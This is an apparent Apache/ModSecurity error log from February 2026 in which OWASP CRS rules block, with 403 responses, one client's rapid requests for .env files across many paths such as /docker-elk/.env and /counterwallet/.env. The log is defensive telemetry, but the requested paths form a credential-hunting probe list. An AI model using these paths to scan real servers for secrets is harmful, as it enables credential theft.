[Wed Feb 25 06:05:01.898257 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXQAAAAAQ&quot;]
[Wed Feb 25 06:05:01.898450 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXQAAAAAQ&quot;]
[Wed Feb 25 06:05:01.952479 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/persistence/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKW0AAAAAI&quot;]
[Wed Feb 25 06:05:01.952765 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKW0AAAAAI&quot;]
[Wed Feb 25 06:05:01.952950 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/persistence/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKW0AAAAAI&quot;]
[Wed Feb 25 06:05:01.973756 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-elk/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXQQAAAAQ&quot;]
[Wed Feb 25 06:05:01.974016 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXQQAAAAQ&quot;]
[Wed Feb 25 06:05:01.974169 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-elk/.env&quot;] [unique_id &quot;aZ6C_Z6MLyC5r86Hx-ZXQQAAAAQ&quot;]
[Wed Feb 25 06:05:01.975469 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKW0QAAAAI&quot;]
[Wed Feb 25 06:05:01.975701 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKW0QAAAAI&quot;]
[Wed Feb 25 06:05:01.975854 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/src/main/resources/org/jobrunr/dashboard/frontend/.env&quot;] [unique_id &quot;aZ6C_VIszkcv5YapLJKW0QAAAAI&quot;]
[Wed Feb 25 06:05:02.005604 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-network-healthcheck/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXQgAAAAQ&quot;]
[Wed Feb 25 06:05:02.005883 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXQgAAAAQ&quot;]
[Wed Feb 25 06:05:02.006062 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-network-healthcheck/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXQgAAAAQ&quot;]
[Wed Feb 25 06:05:02.032968 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-node-mongo-redis/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXQwAAAAQ&quot;]
[Wed Feb 25 06:05:02.033248 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXQwAAAAQ&quot;]
[Wed Feb 25 06:05:02.033432 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXQwAAAAQ&quot;]
[Wed Feb 25 06:05:02.112023 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterblockd/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW0gAAAAI&quot;]
[Wed Feb 25 06:05:02.112666 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW0gAAAAI&quot;]
[Wed Feb 25 06:05:02.112871 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterblockd/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW0gAAAAI&quot;]
[Wed Feb 25 06:05:02.117294 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withmongo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRAAAAAQ&quot;]
[Wed Feb 25 06:05:02.117563 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRAAAAAQ&quot;]
[Wed Feb 25 06:05:02.117726 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRAAAAAQ&quot;]
[Wed Feb 25 06:05:02.139923 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withpostgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRQAAAAQ&quot;]
[Wed Feb 25 06:05:02.140200 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRQAAAAQ&quot;]
[Wed Feb 25 06:05:02.140363 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRQAAAAQ&quot;]
[Wed Feb 25 06:05:02.197928 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /counterwallet/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW0wAAAAI&quot;]
[Wed Feb 25 06:05:02.198220 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW0wAAAAI&quot;]
[Wed Feb 25 06:05:02.198443 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aZ6C_lIszkcv5YapLJKW0wAAAAI&quot;]
[Wed Feb 25 06:05:02.220428 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRgAAAAQ&quot;]
[Wed Feb 25 06:05:02.220848 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRgAAAAQ&quot;]
[Wed Feb 25 06:05:02.221028 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ6C_p6MLyC5r86Hx-ZXRgAAAAQ&quot;]
